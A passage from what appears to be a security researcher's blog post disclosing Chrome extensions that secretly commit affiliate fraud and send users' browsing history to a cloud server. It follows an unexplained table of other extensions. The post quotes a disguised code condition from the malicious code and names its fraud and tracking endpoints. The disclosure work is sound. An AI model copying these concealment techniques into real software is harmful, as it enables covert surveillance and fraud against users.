| ChatGPT Assistant - Smart Search | 178 | bgejafhieobnfpjlpcjjggoboebonfcg | 1, 2, 4, 7 |
| Xiaojinshu - Xiaohongshu material downloader (video, picture) | 2,000 | bhmbklgihbfcpbnaidlcanmbekbjoopg | 1 |
| Save ChatGPT to Notion | 5,000 | bknieejaaomeegoflpgcckagimnbbgdp | 3 |
| Football Wallpapers | 1,000 | blaajilgooofbbpfhdicinfblmefiomn | 6 |
| Image downloader - picture and photos saver | 500,000 | cbnhnlbagkabdnaoedjdfpbfmkcofbcl | 1, 2, 4, 6 |
| IG Follower Export Tool - IG Email Extractor | 1,000 | cekalgbbmdhecljbanbdailpkbndbbgj | 1, 2 |
| Happy Chef Bubble Game | 668 | celnnbmadnnifmnaekgeiipiadahpide | 5 |
| midjourney to notion | 1,000 | ceoifmkmbigkoodehbhfeegbngoomiae | 3, 4 |
| Dragon Ball Z Wallpaper | 10,000 | cepfoomofdcijdlpinanbciebkdmmddm | 5 |
| Change Default Search Engine | 7,000 | cfikbclbljhmmokgdokgjhnpinnmihkp | 5 |
| Indeed Scraper | 425 | cgelphinochnndbeinkgdjolojgdkabc | 1 |
| Story Space. Anonymous viewer for IG and FB | 10,000 | cicohiknlppcipjbfpoghjbncojncjgb | 1, 2 |
| Classic Dark Theme for Web | 700,000 | ckamlnkimkfbbkgkdendoedekcmbpmde | 1, 2, 4 |
| ai platform | 687 | cklkofkblkhoafccongdmdpeocoeaeof | 1 |
| AI Art Generator | 697 | cllklgffiifegpgbpaemekbkgehbeigh | 6 |
| Twitter Algorithm Rank Validator - Free Tool | 31 | cmgfmepnimobbicpnjhfojjibhjdoggo | 1 |
| Adblock - adblocker for Youtube | 700,000 | cohnbaldpeopekjhfifpfpoagfkhdmeo | 1, 2, 3, 7 |
| Bass Booster - Сontrol your sound | 800,000 | coobjpohmllnkflglnolcoemhmdihbjd | 1, 2, 4, 6 |
| SearchGPT Powered | 30,000 | cpmokfkkipanocncbblbdohjginmpdjn | 1, 2 |
| Maps Scraper & Leads Data Extractor | 800 | dahoicbehnalbeamhcpghhoelifghbma | 6 |
| Wasup WA Sender | 4,000 | dcmcongoliejhianllkdefemgiljjdjl | 5 |
| Popup Blocker - Adblock Pop up | 10,000 | ddbjkeokchfmmigaifbkeodfkggofelm | 1, 2, 3, 4 |
| AI Avatar Generator | 528 | ddjeklfcccppoklkbojmidlbcfookong | 6 |
| Telegram Video Downloader | 10,000 | ddkogamcapjjcjpeapeagfklmaodgagk | 1, 2 |
| GetJam - find Coupons and Promo codes | 10,000 | deamobbcdpcfhkiepmjicnlheiaalbbe | 1, 2, 3, 7 |
| WiFi speedtest & Internet Connection Test | 10,000 | deofojifdhnbpkhfpjpnjdplfallmnbf | 1, 2, 4 |
| Audio Master mini | 900,000 | dfffkbbackkpgmddopaeohbdgfckogdn | 1, 2, 4 |
| Geometry Dash Wallpaper | 1,000 | dghokgbfkiebbjhilmjmpiafllplnbok | 5 |
| ExportShopify | 63 | dgofifcdecfijocmjmdhiiabmocddleb | 5 |
| Bass Booster Lite | 1,000 | dhempgjfckmjiblbkandmablebffigdj | 1, 2, 4 |
| IG Follower Export Tool - Export Follower List Instagram - IG Tools | 343 | dhmgjkbkpjikopbkgagkldnoikomgglo | 1, 2 |
| Custom Youtube | 64 | dieglohbkhiggnejegkcfcpolnblodfj | 1, 2 |
| Math AI | 10,000 | dioapkekjoidbacpmfpnphhlobnneadd | 1, 2, 7 |
| Batch Save ChatGPT to Notion | 176 | djefhicmpbpmmlagbgooepmbobdhajgn | 7 |
| Night Theme for Web | 786 | djkdplhjjhmonmiihoaipopjfjalelkb | 1, 2, 4 |
| TickerIQ | 200,000 | dlaajbpfmppphhflganljdalclmcockl | 1, 2, 4 |
| Screen Recording | 10,000 | dlcelhclgobpnegajplgemdhegfiglif | 1, 4 |
| Retro Video Downloader | 3,000 | dnbonfnabpogidccioahmeopjhbcojoe | 1, 2, 4 |
| View Instagram Stories - InstaStory | 288 | dpckdamgkbgkhifgpealdkekennmkjln | 1 |
| City Bike Racing Champion Game FEEP | 471 | dpkpeppcigpkhlceinenjkdalhmemljn | 5 |
| ChatGPT for WhatsApp | 7,000 | eacpodndpkokbialnikcedfbpjgkipil | 5 |
| Vibn AI - ChatGPT: AI-Powered Browsing | 20 | ealomadpdijnflpgabddhepkgcjjeiha | 2 |
| sync evernote to notion | 72 | edppbofcdhkllmbbhnocaenejjlcjoga | 2, 4, 7 |
| Email Extract Pro - Simplify Lead Generation with Notion | 606 | eebaoaeanohonldcbkpnjfkdlcbcaond | 2, 3, 7 |
| Bass Booster - Sound Master Pro | 200,000 | eejonihdnoaebiknkcgbjgihkocneico | 1, 2, 4 |
| Ever2Notion | 148 | efolkkdddgjcnnngjefpadglbliccloo | 3 |
| Claude to Obsidian | 217 | ehacefdknbaacgjcikcpkogkocemcdil | 1 |
| Auto Tab Saver Pro | 14 | ehdnfngedccloodopehbfgliancjekhi | 1, 3 |
| Tricky Craby Html5 Game | 7,000 | eifmecggecobbcjofbkkobpbjbdifemc | 5 |
| Dark Mode - Dark Reader for Chrome | 60,000 | eiionlappbmidcpaabhepkipldnopcch | 1, 2 |
| Beautiful Nature Pictures Wallpaper | 1,000 | eilemfgfflhnndcaflanfgmohfjgbgof | 6 |
| Email extract | 400,000 | ejecpjcajdpbjbmlcojcohgenjngflac | 1, 2, 4 |
| Screen recorder - Recorder Tool | 84 | ekgimgflikldcmjmeeecnkdenimhamch | 5 |
| Soccer Online Game Football - HTML5 Game | 40,000 | eknjiacpaibimgjdeldfhepofgjkngck | 6 |
| Crazy Cursors - Custom Cursors with Trails | 14 | enncggclkhfdeoaglhjkieeipkboaecd | 1, 3 |
| Lumberjack River Game | 1,000 | fbgkmgkcneoolclpopjahcdogpbndkcl | 5 |
| Vroxy - Spoof Time Zone, Geolocation & Locale | 1,000 | fcalilbnpkfikdppppppchmkdipibalb | 1, 5 |
| Linkedin Job Scraper - scraper.plus | 948 | fcfbdnejkoelajenklbcndfokempkclk | 3 |
| Music Equalizer for Chrome | 500,000 | fedoeoceggohfajbhbadkfhgckjkieop | 1, 2, 4, 6 |
| Safety Web - Adblock for Web | 2,000 | ffafhlldnfofnegdfhokdaohngdcdaah | 4, 5 |
| IG Likes Export | 1,000 | fiefnmddjghnmdjfedknoggjfcfejllm | 2 |
| Free YouTube Comment Finder - EasyComment | 1,000 | fifgmgcoibgcehfbpeifpipjnmfdjcoi | 1, 5 |
| Classic Brick Game 80th | 7,000 | filjhgipogkkmalceianiopidelcacam | 1, 2, 4, 6 |
| IG Follower Export Tool - IG Lead Scraper | 48 | fimgpffhikpemjcnfloodfdjfhjkoced | 5 |
| Instagram Photos Download - InstaPhotos | 381 | fjccfokbikcaahpgedommonpjadhdmfm | 1 |
| Save Twitter&Linkedin People to Notion CRM | 61 | fjhnpnojmkagocpmdpjpdjfipfcljfib | 1, 2, 3 |
| Life HD Wallpapers New Tab | 787 | flbglpgpbekkajkkolloilfimbaemigj | 1 |
| INSORT - Sort Reels for IG | 334 | fmdndpmffplgenajipolmpfhflmgdpla | 5 |
| Indeed Scraper | 467 | fnmcgefncfbmgeafmdelmjklpblodpnc | 1, 2 |
| Grand Commander | 1,000 | fnpedebmmbanjapadpnoiogjjhnggdca | 5 |
| Succubus HD Wallpapers New Tab Theme | 126 | gahampmajaohlicbcpdienlhclhkdgcg | 1, 6 |
| Attack On Titan Live Wallpapers | 6,000 | gajcknbeimpoockhogknhfobnblpkijk | 6 |
| Red And Black Shards | 9,000 | gamplddolbodndilnmooeilfcmdjkjfn | 6 |
| Free VPN Proxy - NoName VPN | 1,000 | gceoelahanekobagpkcelbhagpoaidij | 4, 5 |
| GPT Booster - ChatGPT File Uploader & Chats Saver | 9,000 | gcimiefinnihjibbembpfblhcmjclklo | 1, 2, 6 |
| GPT Sidebar - Search with ChatGPT | 900,000 | gcmemiedfkhgibnmdljhojmgnoimjpcd | 1, 2, 3, 4, 6 |
| IG Reel Download - InsReels | 194 | gcofmhbhbkmagfcdimaokhnhjfnllbek | 1 |
| Chrome Capture - screenshot & GIF | 300,000 | ggaabchcecdbomdcnbahdfddfikjmphe | 4 |
| Audio Equalizer | 551 | ggcffjkfphpojokoapldgljehpkiccck | 1, 2, 4 |
| GPTs Store Search and Favorite GPTs | 735 | ggelblabecfgdgknhkmeffheclpkjiie | 3 |
| League of Legends Wallpaper | 1,000 | giidhjojcdpaicnidflfmcfcnokgppke | 5 |
| Video Downloader Button | 9,000 | gjpdgbkjopobieebkmihgdoinbkicjck | 1, 2, 5 |
| Screen Virtual Keyboard- specific needs tool | 9,000 | gkiknnlmdgcmhmncldcmmnhhdiakielc | 4, 6 |
| Just Video Downloader | 5,000 | gldhgnbopkibmghhioohhcjcckejfmca | 1, 2, 4 |
| Picture in Picture - floating video player | 1,000,000 | gmehookibnphigonphocphhcepbijeen | 1, 2, 4 |
| Sound Booster | 10,000 | gmpconpjckclhemcaeinfemgpaelkfld | 1, 2 |
| Hive - Coupons, Promo Codes, & Discounts | 2,000 | godkpmhfjjbhcgafplpkaobcmknfebeh | 1, 2, 3 |
| Profile Picture Maker - AI PFP Maker | 202 | gonmpejcopjdndefhgpcigohdgjkjbjc | 6 |
| Traffic Car Racing Game | 10,000 | gpchpdllicocpdbbicbpgckckbkjdago | 6 |
| Mass Delete Tweets - Tweet Deleter | 1,000 | gpeegjjcnpohmbfplpkaiffnheloeggg | 1, 5 |
| Microsoft Word Translator - Translate Word online | 974 | gphocmbdfjkfghmmdcdghoemljoidkgl | 3 |
| Better Color Picker - pick any color in Chrome | 20,000 | gpibachbddnihfkbjcfggbejjgjdijeb | 5 |
| Popup and Ads Blocker | 20 | hadifnjapmphiajmfpfgfhaafafchjgh | 1, 2, 3 |
| Sound Equalizer | 50,000 | hckjoofeeogkcfehlfiojhcademfgigc | 1, 2, 4 |
| Multi Ad Blocker Complete for Youtube™ | 4,000 | hdoblclnafbfgihfnphjhadfpgcmohkp | 1 |
| Video Downloader pro | 1,000,000 | hebjaboacandjnlnhocfikmaghgbfjlp | 1, 2, 4 |
| WAFilter - Check & Verify WA Number | 5,000 | hhfjicmmlbnmbobgpfmdkodfjkibogog | 1, 5 |
| Translator - Click to Translate | 10,000 | hhmocdjpnopefnfaajgfihmpjpibkdcj | 1, 2, 3, 4, 5 |
| Funny Tweet Generator | 241 | hhpmgfhnfdifcjgmgpgfhmnmgpiddgbg | 1, 5 |
| Winamp Classic Equalizer | 1,000 | hibihejapokgbbimeemhclbhheljaahc | 1, 4 |
| ChatGPT plugin search | 893 | hjdhbhggcljjjfenfbdbbhhngmkglpkl | 3 |
| ReminderCall Chrome Ext. | 287 | hlblflbejmlenjnehmmimlopeljbfkea | 1, 3 |
| Automatic ChatGPT Translator: Prompt Genie | 1,000 | hlkbmbkcepacdcimcanmbofgcibjiepm | 3 |
| AI Editor For Xiaohongshu™ - XHSPlus | 2,000 | hmeohemhimcjlegdjloglnkfablbneif | 1 |
| Cute Dog Wallpaper HD Custom New Tab | 10,000 | iaaplcnlmmnknnbhhpedcaiiohdepiok | 6 |
| Adblocker for Web | 3,000 | icegiccppplejifahamjobjmebhaplio | 1, 2, 3, 4 |
| Email scraper & Email Extract | 73 | ichccchniaebdhjehjcpmiicifhccpem | 1, 5 |
| Tomba - Email Finder & Email Extractor Plus | 9,000 | icmjegjggphchjckknoooajmklibccjb | 5 |
| Comment Exporter - Export Ins Comments | 454 | idfcdgofkeadinnejohffdlbobehndlf | 1, 2 |
| Get Color Palette from Website | 75 | idhdojnaebbnjblpgcaneodoihmjpdmo | 1 |
| Itachi Live Wallpaper | 9,000 | ihmlfoinmmfmcdogoellfomkcdofflfj | 6 |
| Eclincher | 905 | iicacnkipifonocigfaehlncdmjdgene | 5 |
| QRCodie - QR Code Generator | 20 | iioddhggceknofnhkdpnklfopkcahbkc | 1, 2 |
| Shorts blocker for Youtube | 100,000 | iiohlajanokhbaimiclmahallbcifcdj | 1, 2, 4, 6 |
| App Client for Instagram™ - InLoad | 800,000 | ikcgnmhndofpnljaijlpjjbbpiamehan | 1, 2, 4, 6 |
| FollowFox - IG Follower Export Tool (Email) | 970 | imoljjojcgjocfglobcbbhfbghpdjlfn | 1, 2 |
| chatgpt partner - Your AI Assistant | 778 | infgmecioihahiifibjcidpgkbampnel | 4 |
| Zombie Shooter Play | 5,000 | iohppfhpbicaflkcobkfikcjgbjjjdch | 5 |
| Adblock for YouTube & Chrome - All Block | 400,000 | jajikjbellknnfcomfjjinfjokihcfoi | 1, 2, 3 |
| AdBlocker - Ultimate Ads Blocker | 1,000 | jchookncibjnjddblpndekhkigpebmnn | 1, 2, 3 |
| Emoji Keyboard New | 1,000 | jddhjkckjlojegjdjlbobembgjoaobfc | 6 |
| Candy Match 3 Puzzle Games | 2,000 | jdffnpgoekmmkfgfflnpmonkldllfmbh | 5 |
| Genius PRO : Adblocker +Total Web Security | 20,000 | jdiegbdfmhkofahlnojgddehhelfmadj | 3 |
| Night Theme - Dark Mode | 4,000,000 | jhhjdfldilccfllhlbjdlhknlfbhpgeg | 1, 2, 4 |
| Jarvis AI: Chat GPT, Bing, Claude, Bard, BOT | 10,000 | kbhaffhbhcfmogkkbfanilniagcefnhi | 1, 2 |
| AI GPT | 30,000 | kblengdlefjpjkekanpoidgoghdngdgl | 1 |
| Dark Mode Chrome | 300,000 | kdllaademhdfbdhmphefcionnblmobff | 1, 2, 4, 6 |
| Pubg Wallpaper | 1,000 | kealimbjilfbnmolgombldemenlddfaa | 5 |
| Dark Shade | 97 | kfgpocchpfefpnecphkcjoammelpblce | 1, 2 |
| WA Contacts Extractor - wabulk.net | 9,000 | kfjafldijijoaeppnobnailkfjkjkhec | 1 |
| Video Downloader | 10,000 | kghcdbkokgjghlfeojcpeoclfnljkbdk | 1, 2 |
| ChatGPT of OpenAI for Google | 10,000 | kglajnlchongolikjlbcchdapioghjib | 1, 2, 4, 6 |
| Global Video & Audio Downloader | 827 | kglebmpdljhoplkjggohljkdhppbcenn | 1, 2 |
| Emoji keyboard online - copy&past your emoji. | 1,000,000 | kgmeffmlnkfnjpgmdndccklfigfhajen | 1, 2, 4 |
| Volume Booster - Increase sound | 700,000 | kjlooechnkmikejhimjlbdbkmmhlkkdd | 1, 2, 4, 6 |
| Yummi Fusion Game for Chrome | 313 | kknfaoaopblmapedlbhhicbnpdhlebff | 5 |
| Total Adblock | 1,000 | knnnjdihapcnbggclbihkkainodlapml | 1, 2, 3, 7 |
| Adblocker for Web | 10,000 | kojabglmkbdlpogbnenbdegoifgobklj | 1, 2, 3, 4, 5 |
| Simple Translator - Dictionary | 800,000 | koleblagfjjlhlkpacidojjnkhobeikd | 1, 2, 3, 4, 6 |
| Goku Ultra Instinct | 40,000 | kpehlpkidnkpifjmdgajdhhmcgdigjjn | 6 |
| Volume Booster - Increase Sound Effect | 20,000 | laldfbfjhaogodemgonegbingpmjldnh | 1, 6 |
| Zumba Mania Game - HTML5 Game | 4,000 | lckmeckmnopdeeelhglffajlfgodhoad | 1 |
| Comments Exporter | 2,000 | ldhjpljmgnggmkpcgaicmocfoefbcojl | 1, 2 |
| AdBlocker for LinkedIn® | 100 | leabdgiabfjhegkpomifpcfjfhlojcfh | 3 |
| Charm - Coupons, Promo Codes, & Discounts | 366 | lfbiblnhjmegapjfcbbodacjajhcgnbe | 1, 2, 3, 5 |
| Site Blocker: Stay focused & Block websites | 2,000 | lfbpllmokmhinnopfchemobgglipfini | 1, 2 |
| Youtube Ad Blocker | 226 | lfcgcabhmgenalfgamodjflggklmaldd | 1, 2, 3 |
| Video Downloader - Save m3u8 to MP4 | 10,000 | lfdconleibeikjpklmlahaihpnkpmlch | 1, 2 |
| Contact Saver For WA & Download Group Phone Numbers - WPPME.COM | 26 | lfopjgadjgdlkjldhekplmeggobolnej | 1, 6 |
| ChatGenie for Chatgpt | 8,000,000 | lgfokdfepidpjodalhpbjindjackhidg | 1, 2, 4 |
| Mook: AI Tweet Generator With Chat GPT | 259 | lglmnbmfkbpfpbipjccjlkcgngekdhjk | 1, 5 |
| Anime Live Wallpapers | 100,000 | lgpgimkhbokanggfjjafplmjcdoclifl | 6 |
| ai logo creator | 491 | ljgimpibhgleapaoedngmcicjoifojea | 1, 6 |
| QR Code Generator | 3,000,000 | lkdokbndiffkmddlfpbjiokmfkafmgkm | 1, 2, 4, 6 |
| PDF Converter Online | 10,000 | lmgofgkjflllbmfdpamdjjmdjhohibpc | 1, 2, 4 |
| Video downloader by NNT | 2,000 | loiebadnnjhhmnphkihojemigfiondhf | 1, 2, 6 |
| WhichFont | 75 | lpamdogjnihpkoboakafmaiopljkhoib | 5 |
| Video Downloader Plus | 100,000 | lpcbiamenoghegpghidohnfegcepamdm | 1, 2, 4 |
| Summer Match 3 Game | 613 | lpfcolgfiohmgebkekkdakcoajfoeadn | 5 |
| Privacy Extension For WhatsApp Web - WABULK | 90,000 | mbcghjiodcjankhkllfohcgnckhdbkmi | 1 |
| Volume Booster + | 800,000 | mbdojfbhgijnafkihnkhllmhjhkmhedg | 1, 2, 4, 6 |
| Flux AI Image Generator | 1,000 | mblmjcogbjicpmhhjmpgjeiaophchpji | 3 |
| WA Group Number Exporter | 5,000 | mbmldhpfnohbacbljfnjnmhfmecndfjp | 1, 5 |
| Claude to Evernote | 59 | mekebjmippjiaajoaeeiemdcfngnnnkm | 7 |
| WA Number Checker - wabulk.net | 8,000 | meppipoogaadmolplfjchojpjdcaipgj | 1 |
| WA Number Checker | 1,000 | mgbpamnoiegnkologgggccldjenfchmc | 1, 2 |
| Translator - Click to Translate | 451 | mghganlaibcgnnooheoaebljgfbghpdl | 1, 2, 4 |
| ChatGPT Summary - summarize assistant | 300,000 | mikcekmbahpbehdpakenaknkkedeonhf | 1, 2, 4, 6 |
| Escape From School Game FEEP | 2,000 | mjkdllcbnonllpedjjmgdhkjnjmcigpo | 5 |
| Alfi Adventure Game | 220 | mkonckdeijcimlecklibjbnapmhnbpji | 5 |
| Allow Copy - Select & Enable Right Click | 900,000 | mmpljcghnbpkokhbkmfdmoagllopfmlm | 1, 2 |
| Save image to PDF | 114 | mpdpidnikijhgcbemphajoappcakdgok | 5 |
| Screensy - screen recording | 3,000 | mpiihicgfapopgaahidedijlddefkedc | 1, 2 |
| WhatsApp Salesforce integration | 345 | nacklnnkbcphbhgodnhfgnbdmobomlnm | 5 |
| Easy Ad Blocker | 100,000 | naffoicfphgmlgikpcmghdooejkboifd | 3 |
| Anime Girls Wallpaper | 10,000 | nahgmphhiadplbfoehklhedcbbieecak | 5 |
| PiP (Picture in picture) | 800,000 | nalkmonnmldhpfcpdlbdpljlaajlaphh | 1, 2, 6 |
| Vytal - Spoof Timezone, Geolocation & Locale | 50,000 | ncbknoohfjmcfneopnfkapmkblaenokb | 1, 3, 5 |
| Bass Booster Extreme - It Works! | 10,000 | ndhaplegimoabombidcdfogcnpmcicik | 1, 2, 4 |
| ProTranslator - Translator for All web | 54 | nemnbfdhbeigohoicapnbdecdlkcpmpj | 1, 2, 4, 6 |
| Adblock for Ytube | 3,000 | nendakennfmpoplpmpgnmcbpfabkibki | 6 |
| AI Image Generator - Text to Image Online | 20,000 | nfnkkmgbapopddmomigpnhcnffjdmfgo | 1 |
| Night Shift - Dark Theme for WEB | 155 | ngocaaiepgnlpdlpehhibnpmecaodfpk | 1, 2, 4 |
| Mad Shark HTML 5 Game | 1,000 | nhbckdjhkcjckhfgpmicgaiddbfdhhll | 5 |
| Screen Recorder | 5,000 | nhmaphcpolbbanpfhamgdpjlphbcnieh | 1, 4 |
| IgComment - IG Comments Export | 545 | nilbploiiciajeklaogbonjaejdjhfao | 1 |
| InReach - LinkedIn B2B Email Finder | 1,000 | nloekplnngjkjohmbfhmhjegijlnjfjk | 5 |
| Full Page Screenshot - Screen Capture | 1,000 | nmbngkjfkglbmmnlicoejhgaklphedcg | 1, 2, 4 |
| Exporter for Followers | 400,000 | nmnhoiehpdfllknopjkhjgoddkpnmfpa | 1, 2 |
| Flash Player - flash emulator | 400,000 | nohenbjhjbaleokplonjkbmackfkpcne | 1, 2, 4, 6 |
| Dark Mode Wallpapers | 1,000 | npmjehopohdlglmehokclpmbkgpfckcd | 6 |
| WhatsApp Audio & Voice Message to Text | 112 | npojienggkmiiemiolplijhfdmppacik | 1, 6 |
| Your Emoji Keyboard | 1,000 | obekkkgdekegaejajmdpaodefomoomfk | 6 |
| Adblock for Spotify - Skip ads on music | 10,000 | obiomemfgclpnflokpjjfokafbnoallb | 1, 2 |
| Manual Finder 2024 | 256 | ocbfgbpocngolfigkhfehckgeihdhgll | 5 |
| Flash Player Enable - flash emulator swf | 300,000 | ocfjjghignicohbjammlhhoeimpfnlhc | 1, 2 |
| GT Cars Mega Ramp Game FEEP | 630 | ociihgpflooiebgncjgjkcaledmkhakk | 5 |
| Stick Panda Play Game | 5,000 | ocmbglodnmkcljocboijoemgceokifgg | 5 |
| Garena Free Fire Wallpaper | 10,000 | ocnnnfbblcadccdphieemnmbljdomdgl | 5 |
| Dictionary for Google Chrome - Synonyms, Definition | 21 | ocooohinghhdfcpfdonkjhhankdolpab | 1, 3 |
| Presto lead extractor for Bing Maps and OSM | 300,000 | oilholdcmnjkebdhokhaamalceecjbip | 1, 2, 4 |
| Dark Mode - Dark Theme for Chrome | 60,000 | okcnidefkngmnodelljeodakdlfemelg | 1, 6 |
| FastSave & Repost for Instagram | 700,000 | olenolhfominlkfmlkolcahemogebpcj | 1, 2, 4, 6 |
| ClaudeAI Copilot | 449 | olldnaaindiifeadpdmfggognmkofaib | 1, 4, 5 |
| Roblox Wallpaper | 6,000 | omamcjggpkjhgbkadieakplbieffjimf | 5 |
| Dark Reader for Chrome | 10,000 | omfeeokgnjnjcgdbppmnijlmdnpafmmp | 1, 4 |
| Browsec VPN - Free VPN for Chrome | 6,000,000 | omghfjlpggmjjaagoclmmobgdodcjboh | 1, 2, 7 |
| ChatGPT Sidebar | 3,000 | oopjmodaipafblnphackpcbodmgoggdo | 1, 2, 3, 5 |
| Music Equalizer - Improve Sound for everyone | 900,000 | paahdfldanmapppepgbflkhibebaeaof | 1, 2, 4, 6 |
| Space Pinball Game | 968 | pakghdcedniccgdfjjionnmoacelicmf | 7 |
| Find Font | 2,000 | pbeodbbpdamofbpkancdlfnegflmhkph | 6 |
| Web Client for Xiaohongshu | 1,000 | pcbppejbcaaoiaiddaglpphkmfkodhkn | 1, 5 |
| Classic Dark Theme - Night Mode | 2,000,000 | pdpfhanekfkeijhemmfbnnjffiblgefi | 1, 2, 4, 6 |
| Shopify Scraper - Shopify Store Scraper & spy | 1,000 | pehfmekejnhfofdjabaalbnanmpgjcdn | 1, 2, 3 |
| Screen Editor | 869 | pehmgdedmhpfophbaljpcloeaihhnkhk | 6 |
| Bulk WA Number Checker & Validator & Search & lookup | 310 | pepdpaiacpcgjoapmhehgmjcicninpgf | 1, 6 |
| Email Extractor | 2,000 | pgckgjnbljjlgbedbicefldnkpeehgdo | 1, 3 |
| Adblock for YouTube™ | 30,000 | pginoclcfbhkoomedcodiclncajkkcba | 3, 4 |
| Site Blocker - Block Site & Focus Mode | 1,000,000 | pgoeobojimoocdnilcajmjihiabcmabn | 1, 2, 4, 5 |
| Dark Mode - Midnight Chrome | 1,000 | pidmkmoocippkppbgebgjhnmgkhephlb | 1, 2, 4, 5 |
| Save Image As PNG | 1,000 | piigjafeabajlmjkcmcemimcoaekbjmh | 1, 2 |
| ChatGPT-The Future | 2,000 | pijagnpcnegcogimkghghdihobbeaicn | 4, 6 |
| Safe3 safe browsing | 900,000 | pimlkaibgdfmbenlhmbjllfkbcfhfnjg | 1, 2 |
| Fishing Frenzy Games | 4,000 | pkanjcjckofmachobaedghimjboglcjf | 6 |
| Fortnite Wallpapers | 7,000 | pnmfgeifakoehoojepggpigbkkfolbmk | 6 |
| Best Cursors - Bloom of Custom Cursor | 100,000 | pnpapokldhgeofbkljienpjofgjkafkm | 1, 2, 4 |
| Naruto Live Wallpaper | 10,000 | ppemmflajcphagebjphjfoggjcbmgpim | 6 |
Somebody brought to my attention that the Hide YouTube Shorts extension for Chrome changed hands and turned malicious. I looked into it and could confirm that it contained two undisclosed components: one performing affiliate fraud and the other sending users’ every move to some Amazon cloud server. But that wasn’t all of it: I discovered eleven more extensions written by the same people. Some contained only the affiliate fraud component, some only the user tracking, some both. A few don’t appear to be malicious yet.
While most of these extensions were supposedly developed or bought by a person without any other traces online, one broke this pattern. Karma shopping assistant has been on Chrome Web Store since 2020, the company behind it founded in 2013. This company employs more than 50 people and secured tons of cash in venture capital. Maybe a mistake on my part?
After looking thoroughly this explanation seems unlikely. Not only does Karma share some backend infrastructure and considerable amounts of code with the malicious extensions. Not only does Karma Shopping Ltd. admit to selling users’ browsing profiles in their privacy policy. There is even more tying them together, including a mobile app developed by Karma Shopping Ltd. whereas the identical Chrome extension is supposedly developed by the mysterious evildoer.
Most of the extensions in question changed hands relatively recently, the first ones in the summer of 2023. The malicious code has been added immediately after the ownership transfer, with some extensions even requesting additional privileges citing bogus reasons. A few extensions have been developed this year by whoever is behind this.
Some extensions from the latter group don’t have any obvious malicious functionality at this point. If there is tracking, it only covers the usage of the extension’s user interface rather than the entire browsing behavior. This can change at any time of course.
| Name | Weekly active users | Extension ID | Malicious functionality |
|---|---|---|---|
| Hide YouTube Shorts | 100,000 | aljlkinhomaaahfdojalfmimeidofpih | Affiliate fraud, browsing profile collection |
| DarkPDF | 40,000 | cfemcmeknmapecneeeaajnbhhgfgkfhp | Affiliate fraud, browsing profile collection |
| Sudoku On The Rocks | 1,000 | dncejofenelddljaidedboiegklahijo | Affiliate fraud |
| Dynamics 365 Power Pane | 70,000 | eadknamngiibbmjdfokmppfooolhdidc | Affiliate fraud, browsing profile collection |
| Israel everywhere | 70 | eiccbajfmdnmkfhhknldadnheilniafp | – |
| Karma | Online shopping, but better | 500,000 | emalgedpdlghbkikiaeocoblajamonoh | Browsing profile collection |
| Where is Cookie? | 93 | emedckhdnioeieppmeojgegjfkhdlaeo | – |
| Visual Effects for Google Meet | 1,000,000 | hodiladlefdpcbemnbbcpclbmknkiaem | Affiliate fraud |
| Quick Stickies | 106 | ihdjofjnmhebaiaanaeeoebjcgaildmk | – |
| Nucleus: A Pomodoro Timer and Website Blocker | 20,000 | koebbleaefghpjjmghelhjboilcmfpad | Affiliate fraud, browsing profile collection |
| Hidden Airline Baggage Fees | 496 | kolnaamcekefalgibbpffeccknaiblpi | Affiliate fraud |
| M3U8 Downloader | 100,000 | pibnhedpldjakfpnfkabbnifhmokakfb | Affiliate fraud |
Update (2024-11-11): Hide YouTube Shorts, DarkPDF, Nucleus and Hidden Airline Baggage Fees have been taken down. Two of them have been marked as malware and one as violating Chrome Web Store policies, meaning that existing extension users will be notified. I cannot see the reason for different categorization, the functionality being identical in all of these extensions. The other extensions currently remain active.
Update (2024-12-12): By now Dynamics 365 Power Pane, Israel everywhere, Quick Stickies and M3U8 Downloader are gone as well, all removed on November 17 apparently. The first one also marked as malware, so that it will be disabled for existing users. Only three extensions remain active now, which includes the two most popular extensions on my list.
Whoever wrote the malicious code chose not to obfuscate it but to make it blend in with the legitimate functionality of the extension. Clearly, the expectation was that nobody would look at the code too closely. So there is for example this:
if (window.location.href.startsWith("http") ||
window.location.href.includes("m.youtube.com")) {
…
}
It looks like the code inside the block would only run on YouTube. Only when you stop and consider the logic properly you realize that it runs on every website. In fact, that’s the block wrapping the calls to malicious functions.
The malicious functionality is split between content script and background worker for the same reason, even though it could have been kept in one place. This way each part looks innocuous enough: there is some data collection in the content script, and then it sends a check_shorts message to the background worker. And the background worker “checks shorts” by querying some web server. Together this just happens to send your entire browsing history into the Amazon cloud.
Similarly, there are some complicated checks in the content script which eventually result in a loadPdfTab message to the background worker. The background worker dutifully opens a new tab for that address and, strangely, closes it after 9 seconds. Only when you sort through the layers it becomes obvious that this is actually about adding an affiliate cookie.
And of course there is a bunch of usual complicated conditions, making sure that this functionality is not triggered too soon after installation and generally doesn’t pop up reliably enough that users could trace it back to this extension.
The affiliate fraud functionality is tied to the kra18.com domain. When this functionality is active, the extension will regularly download data from https://www.kra18.com/v1/selectors_list?&ex=90 (90 being the extension ID here, the server accepts eight different extension IDs). That’s a long list containing 6,553 host names:
Update (2024-11-19): As of now, the owners of this server disabled the endpoints mentioned here. You can still see the original responses on archive.today however.
Whenever one of these domains is visited and the moons are aligned in the right order, another request to the server is made with the full address of the page you are on. For example, the extension could request https://www.kra18.com/v1/extension_selectors?u=https://www.tink.de/&ex=90:
The shortsNavButtonSelector key is another red herring, the code only appears to be using it. The important key is url, the address to be opened in order to set the affiliate cookie. And that’s the address sent via loadPdfTab message mentioned before if the extension decides that right now is a good time to collect an affiliate commission.
There are also additional “selectors,” downloaded from https://www.kra18.com/v1/selectors_list_lr?&ex=90. Currently this functionality is only used on the amazon.com domain and will replace some product links with links going through jdoqocy.com domain, again making sure an affiliate commission is collected. That domain is owned by Common Junction LLC, an affiliate marketing company that published a case study on how their partnership with Karma Shopping Ltd. (named Shoptagr Ltd. back then) helped drive profits.
Some of the extensions will send each page visit to https://7ng6v3lu3c.execute-api.us-east-1.amazonaws.com/EventTrackingStage/prod/rest. According to the extension code, this is an Alooma backend. Alooma is a data integration platform which has been acquired by Google a while ago. Data transmitted could look like this:
Yes, this is sent for each and every page loaded in the browser, at least after you’ve been using the extension for a while. And distinct_id is my immutable user ID here.
But wait, it’s a bit different for the Karma extension. Here you can opt out! Well, that’s only if you are using Firefox because Mozilla is rather strict about unexpected data collection. And if you manage to understand what “User interactions” means on this options page:
Well, I may disagree with the claim that url addresses do not contain personably identifiable information. And: yes, this is the entire page. There really isn’t any more text.
The data transmitted is also somewhat different:
